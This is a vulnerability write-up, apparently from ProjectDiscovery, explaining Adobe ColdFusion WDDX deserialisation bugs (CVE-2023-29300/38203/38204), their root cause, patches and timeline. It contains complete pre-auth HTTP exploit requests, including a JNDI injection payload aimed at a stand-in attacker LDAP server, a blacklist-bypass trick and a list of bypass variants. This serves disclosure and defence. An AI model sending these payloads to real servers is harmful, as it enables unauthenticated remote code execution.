Reading the codebase and external articles from Rapid7 on previous CVEs made clear that a valid CFC endpoint is required to trigger the call to GetArgumentCollection and reach WDDXDeserialize(). A CFC is a ColdFusion Component, a reusable piece of ColdFusion code that can be called over the web, a bit like a function you can reach by URL. An endpoint is a specific address on a server that accepts requests. The sample request uses /CFIDE/adminapi/accessmanager.cfc, which is a pre-auth valid CFC endpoint, meaning it can be reached without logging in.

Step 4: confirm the primitive

A primitive in security research means a small, reliable capability you have proven you can perform, which you then build on. Here the primitive is "call a chosen setter with a chosen value".

To validate it, the researchers set up a JVM debugger with a breakpoint on the method invoke call and chose java.util.Date, a simple class that satisfies the three conditions and has a setter such as setDate. java.util.Date is Java's built-in class for representing a date and time; setDate sets the day of the month. It is a harmless choice, perfect for proving the mechanism without doing anything dangerous.

The request carries a WDDX packet in argumentCollection:

HTTP
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xjava.util.Datex'><var name='date'><string>our_input</string></var></struct></data></wddxPacket>

Line by line:

  • POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2 is the request line. POST is the method used to send data to a server. The path points at the CFC endpoint. method=foo names a function to call on that component; foo is a placeholder. _cfclient=true is a ColdFusion flag that tells it the caller is a remote client. HTTP/2 is the version of the web protocol.
  • Host: localhost says which server the request is for. localhost means the same machine, which is the researchers' lab.
  • Accept-Encoding, Accept, Accept-Language, User-Agent, Cache-Control are standard headers. Headers are extra lines of information a browser attaches to a request, such as which formats it accepts and which browser it is. They are not part of the attack here; they make the request look like a normal browser's.
  • Content-Type: application/x-www-form-urlencoded says the body is form data, the same format a browser uses when you submit a form.
  • Content-Length: 275 states the body's length in bytes.
  • The blank line separates headers from the body.
  • The body is argumentCollection= followed by the WDDX packet. The packet's struct has type='xjava.util.Datex' and one variable named date holding the string our_input.

The var named date maps to the setDate setter, whose single argument is converted from the string value. The breakpoint confirmed that java.util.Date.setDate(our_input) was executed. In other words, the researchers had proven they could make ColdFusion call a method of their choosing with a value of their choosing, without logging in.

Step 5: escalate through JNDI

The next goal was to turn the setter invocation into remote code execution, meaning running their own commands on the server. The class com.sun.rowset.JdbcRowSetImpl fits the conditions. It is a standard Java class for working with database result sets.

Passing a boolean to its setAutoCommit() method makes it perform a JNDI lookup on the data source name, which can be set with setDataSourceName(). JNDI is Java's naming and directory interface: a way for Java programs to look up resources, such as a database connection, by name, often from a remote directory server. A lookup means asking a directory server "what is at this address?". If an attacker controls the address, the target will connect to the attacker's server and may load code from it. That is called JNDI injection.

Calling setDataSourceName() followed by setAutoCommit() therefore produces a JNDI injection. Because the method invocations happen inside a loop, multiple methods can be invoked on the same object, so the attacker can set one property and then trigger the action that uses it.

HTTP
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://attacker:1389/exploit</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>

Line by line:

  • The request line and headers are the same as before, so the request reaches the same CFC endpoint in the same way.
  • The body's struct now has type='xcom.sun.rowset.JdbcRowSetImplx'. The wrapping x characters are stripped by getClassBySignature, so the class loaded is com.sun.rowset.JdbcRowSetImpl.
  • The first var is named dataSourceName and holds ldap://attacker:1389/exploit. This maps to setDataSourceName, which stores the address of a directory server. ldap:// is the protocol, attacker stands for the attacker's server, 1389 is the port, and /exploit is the path.
  • The second var is named autoCommit and holds a boolean true. This maps to setAutoCommit, which triggers the lookup against the stored address.

Here the type loads com.sun.rowset.JdbcRowSetImpl, the dataSourceName variable sets the LDAP URL, and the autoCommit boolean triggers the lookup. The class path contained several libraries, and commons-beanutils-1.9.4 stood out. The class path is the list of places Java looks for classes and libraries when it needs to load one. commons-beanutils is a widely used helper library for working with beans, the same convention the vulnerable code relies on.

A ysoserial Java deserialisation payload for commons-beanutils was bound on a rogue LDAP server, and the result was remote code execution on Adobe ColdFusion 2021 (Update 6). In plain terms: the target connected to the attacker's directory server, the server replied with a malicious object, and when the target deserialised that object, the commons-beanutils library did something dangerous and ran the attacker's code. The chain has three links: a setter call, a directory lookup, and a malicious object.

From the original on blog.projectdiscovery.io

A Nuclei template for CVE-2023-29300 is available in the Nuclei-Templates repository, and scanning can be run as follows:

Bash
nuclei -id CVE-2023-29300 -list coldfusion_list.txt

Line by line:

  • nuclei runs the scanner.
  • -id CVE-2023-29300 selects the template with that identifier, so only that check is run.
  • -list coldfusion_list.txt points at a text file containing the addresses to scan, one per line.
From the original on blog.projectdiscovery.io

Root cause

The WDDX struct handler takes the type attribute from the packet, loads that class by name, instantiates it through its no-argument constructor, and then invokes setters on it with values taken from the packet. The class name and the values are both attacker-controlled, so any class on the class path with a public no-argument constructor and a single-argument setter becomes a gadget. com.sun.rowset.JdbcRowSetImpl turns the setter invocation into a JNDI lookup, and the presence of commons-beanutils on the class path turns the lookup into code execution.

The patch added a check that the class name starts with coldfusion and a blacklist check through WddxFilter.invoke(). A blacklist, or denylist, is a list of things that are forbidden; the opposite, a whitelist or allowlist, names only the things that are permitted. The researchers initially assumed the fix whitelisted only coldfusion* classes. That assumption was wrong: they had overlooked WddxFilter.invoke(), nested inside the if statement, which prevents invocation of certain blacklisted classes reported by the original finder of CVE-2023-29300. com.sun.rowset.JdbcRowSetImpl was not on that blacklist, so the published analysis of an n-day turned out to be a 0-day.

An n-day is a vulnerability that is already publicly known and usually already patched. A 0-day, or zero-day, is one that is not yet known to the vendor and has no fix. Adobe released an update blacklisting the class and assigned it CVE-2023-38203 on 2023-07-14. A CVE is a public identifier for a specific vulnerability, like a catalogue number, so everyone can refer to the same issue unambiguously.

The previous exploits kept working after that patch. The bypass was not limited to circumventing the blacklisted class: it bypassed the blacklist validation entirely, through a time-of-check to time-of-use inconsistency. That phrase describes a classic bug: the program checks one thing, then later uses something slightly different, and an attacker exploits the gap between the two moments. In the updated DeserializationWorker:

Java
    private void validateWddxFilter(AttributeList atts) {
        String attributeType = atts.getValue("type");
        if (attributeType.endsWith(";")) {
            attributeType = attributeType.replace(";", "");
        }
        if (attributeType.startsWith("L")) {
            String attributeTypeCopy = attributeType;
            validateBlockedClass(attributeTypeCopy.replaceFirst("L", ""));
        }
        validateBlockedClass(attributeType);
    }

    private void validateBlockedClass(String attributeType) {
        if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && ... && WddxFilter.invoke(attributeType)) {
            throw new InvalidWddxPacketException();
        }
    }

Line by line:

  • atts.getValue("type") reads the type attribute, as before.
  • if (attributeType.endsWith(";")) checks whether the text ends with a semicolon, the trailing marker of the array notation.
  • attributeType.replace(";", "") removes every semicolon from the text.
  • if (attributeType.startsWith("L")) checks whether it now begins with a capital L, the leading marker of the array notation.
  • attributeTypeCopy.replaceFirst("L", "") makes a copy and removes the first L.
  • validateBlockedClass(attributeTypeCopy...) checks that cleaned-up name against the blacklist.

The filter expects the L and ; characters of the array notation and strips them before matching. The input Lcom.sun.rowset.JdbcRowSetImpl; matches and is blocked. The input Xcom.sun.rowset.JdbcRowSetImplX does not match. Meanwhile StructHandler still removes the first and last characters before loading the class:

    private static Class getClassBySignature(String jniTypeSig) {

    char c = jniTypeSig.charAt(0);
    switch (c) {
        ...
        case 'E':
        case 'G':
        case 'H':
        case 'K':
        case 'L':
        case 'M':
        case 'N':
        case 'O':
        case 'P':
        case 'Q':
        case 'R':
        case 'T':
        case 'U':
        case 'V':
        case 'W':
        case 'X':
        case 'Y':
        default:
            String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1);
            return Class.forName(className);
        ...
    }

}

Line by line:

  • char c = jniTypeSig.charAt(0) reads the first character.
  • The switch lists many letters, each of which falls through to the same default branch. The list is just a set of characters that are treated the same way.
  • jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1) again drops the first and last characters.
  • Class.forName(className) loads whatever remains.

Xcom.sun.rowset.JdbcRowSetImplX is not a valid class name, but the substring operation removes the first and last characters before use. The check compares X<class name>X against the filtered <class name>, so the two do not match and the blacklist is never applied to the class that is actually loaded. The check and the loading disagree about how to read the same text, and that disagreement is the bypass.

Impact

An unauthenticated attacker can execute arbitrary code on vulnerable ColdFusion 2018, 2021 and 2023 installations. Exploitation typically requires access to a valid CFC endpoint; the sample uses /CFIDE/adminapi/accessmanager.cfc, which is pre-auth. If the default pre-auth CFC endpoints cannot be reached directly because of ColdFusion lockdown mode, the vulnerability can be combined with CVE-2023-29298 to achieve remote code execution against a locked-down instance. Lockdown mode is a ColdFusion setting that restricts access to administrative and default endpoints, intended to reduce exposure.

The previous exploits kept working after the CVE-2023-38203 patch: the bypass was not limited to circumventing the blacklisted class but bypassed the blacklist validation entirely, and this became CVE-2023-38204. Adobe's comment on the final advisory notes that CVE-2023-38205 has been exploited in the wild in limited attacks targeting Adobe ColdFusion. In the wild means real attackers have used it against real targets, not just in a lab.

Timeline

Date Event
2023-07-11 Adobe issues APSB23-40 security advisory for CVE-2023-29300.
2023-07-12 ProjectDiscovery publishes CVE analysis blog post on CVE-2023-29300.
2023-07-13 Original finder of CVE-2023-29300 alerts the researchers to possible 0-day publication; Adobe Prod Security requests blog unpublishing.
2023-07-14 Adobe releases APSB23-41 to address the CVE-2023-29300 bypass, now designated CVE-2023-38203.
2023-07-15 The researchers notify Adobe of a vulnerability in the patch, providing technical details.
2023-07-18 Adobe shares a pre-release build for patch confirmation.
2023-07-18 Rapid7 publishes a blog on active exploitation of Adobe ColdFusion RCE exploits; their insights align closely with the actual situation except that at that time the latest release for CVE-2023-38203 was still vulnerable to the initial exploit.
2023-07-19 Adobe releases APSB23-47 to address the exploit, now assigned as CVE-2023-38204.

An advisory is the official notice a vendor publishes about a security issue, usually with a severity rating and a list of affected versions. A pre-release build is a test version given to selected people before the public release, so they can confirm the fix works.

The researchers state that their intention was never to publish a 0-day exploit or cause harm to ColdFusion customers; the goal was to share information about a resolved vulnerability, raise awareness and offer a Nuclei template for detection. The patch bypass was disclosed inadvertently.

From the original on blog.projectdiscovery.io

Fix

Adobe addressed the issues in successive updates: APSB23-40 for CVE-2023-29300, APSB23-41 for CVE-2023-38203 and APSB23-47 for CVE-2023-38204. Adobe shared a pre-release build for patch confirmation, and testing confirmed that all the reported issues had been addressed in that patch. Adobe recommends updating ColdFusion installations to the latest release.

Variants to test

  1. Other single-argument setters on the class path. Enumerate classes with a public no-argument constructor and a one-argument setter, and try each as the type value wrapped in the x...x form. A positive result is the setter being invoked with the packet's value, visible in a debugger or through a side effect such as a DNS or LDAP callback. A callback is an outbound connection from the target to a server you control, which proves the target ran your code.
  2. JNDI-capable beans. Look for classes whose setters lead to a lookup, as JdbcRowSetImpl does with setDataSourceName plus setAutoCommit. A positive result is an outbound connection to your LDAP or DNS listener when the packet is submitted.
  3. Wrapper characters around the class name. Try the X...X wrapping and the L...; form against each patched build. A positive result is the payload being blocked with L...; but still executing with X...X, which indicates the check and the class loading disagree on how the name is parsed.
  4. Pre-auth CFC endpoints. Test /CFIDE/adminapi/accessmanager.cfc and other default CFC endpoints with method=foo&_cfclient=true and an argumentCollection value. A positive result is the WDDX packet being parsed rather than rejected.
  5. Lockdown mode. Where default pre-auth endpoints are blocked, combine the WDDX path with CVE-2023-29298. A positive result is reaching the deserialiser on an instance configured in locked-down mode.
  6. Detection at scale. Run the published template against an asset list and confirm findings manually:
Bash
nuclei -id CVE-2023-29300 -list coldfusion_list.txt
Stop Pentesting. Start Programming.
Stop Pentesting. Start Programming. From the original on blog.projectdiscovery.io
CVE-2023-36934 Analysis: MOVEit Transfer SQL Injection
CVE-2023-36934 Analysis: MOVEit Transfer SQL Injection

Glossary

  • 0-day (zero-day): a vulnerability that is not yet known to the vendor and has no fix.
  • Advisory: a vendor's official notice about a security issue, listing affected versions and the fix.
  • Bean: a Java class that follows a simple convention, exposing its data through methods named getSomething and setSomething.
  • Blacklist (denylist): a list of forbidden items; anything on it is blocked, anything else is allowed.
  • Breakpoint: a marker in a debugger that pauses the program at a chosen line so you can inspect it.
  • Callback: an outbound connection from a target to a server you control, used to prove code ran.
  • CFC (ColdFusion Component): a reusable piece of ColdFusion code that can be called over the web.
  • Class: a blueprint in Java that bundles data and the operations on that data.
  • Class path: the list of places Java looks for classes and libraries when loading one.
  • Constructor: the special routine that builds an object; a no-argument constructor builds one with defaults.
  • CVE: a public catalogue number for a specific vulnerability.
  • Debugger: a tool that lets you pause a running program and inspect its state.
  • Decompiler: a tool that turns compiled code back into something close to readable source code.
  • Deserialisation: rebuilding an object in memory from a stream of text or bytes.
  • Endpoint: a specific address on a server that accepts requests.
  • FQCN (fully qualified class name): the full address of a class including its package, such as java.util.Date.
  • Gadget: an existing piece of code, harmless on its own, that becomes dangerous when an attacker controls how it is called.
  • Git diff: a command that prints line-by-line differences between two versions of files.
  • Header: an extra line of information attached to a web request or response.
  • In the wild: used by real attackers against real targets, not just in a lab.
  • JNDI: Java's naming and directory interface, used to look up resources by name, often from a remote directory server.
  • JNDI injection: tricking a program into performing a JNDI lookup against an address the attacker controls.
  • JSON: a common text format for structured data, widely used by web applications.
  • JVM (Java Virtual Machine): the program that runs Java code.
  • LDAP: a protocol for looking things up in a directory, similar in spirit to a phone book.
  • Lockdown mode: a ColdFusion setting that restricts access to administrative and default endpoints.
  • Lookup: asking a directory server what is at a given address.
  • Map: a collection that pairs names with values.
  • N-day: a vulnerability that is already publicly known and usually already patched.
  • Nuclei: a scanner that checks machines for known problems using small rule files called templates.
  • Parameter: a named value sent with a web request, like ?name=value.
  • Patch diffing: comparing the code before and after a security update to see exactly what changed.
  • Pre-auth (pre-authentication): reachable before anyone logs in.
  • Pre-release build: a test version given to selected people before the public release.
  • Primitive: a small, reliable capability you have proven you can perform, which you then build on.
  • Reflection: a Java feature that lets a program inspect and call classes and methods by name at runtime.
  • Remote code execution (RCE): running your own commands on someone else's machine.
  • Request: what a browser sends to a server when you load a page or submit a form.
  • Rogue LDAP server: a directory server controlled by the researcher, pretending to be legitimate.
  • Rollback: restoring the previous version of files after an update.
  • Serialisation: turning an object in memory into a stream of text or bytes.
  • Setter: a method whose job is to assign a value to a property; by convention its name starts with set.
  • Sink: the place in a program where untrusted input finally does something dangerous.
  • Struct: a WDDX element holding a collection of named values.
  • Time-of-check to time-of-use (TOCTOU): a bug where a program checks one thing and later uses something different, and the gap is exploitable.
  • WDDX: an XML format for exchanging structured data between applications.
  • Whitelist (allowlist): a list of permitted items; anything not on it is blocked.
  • XML: a way of writing structured data using tags in angle brackets.
  • ysoserial: a tool that generates ready-made malicious Java objects for testing.

More by Harsh Jaiswal

View all

3 more disclosed reports, best first.

More from Adobe (ColdFusion)

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.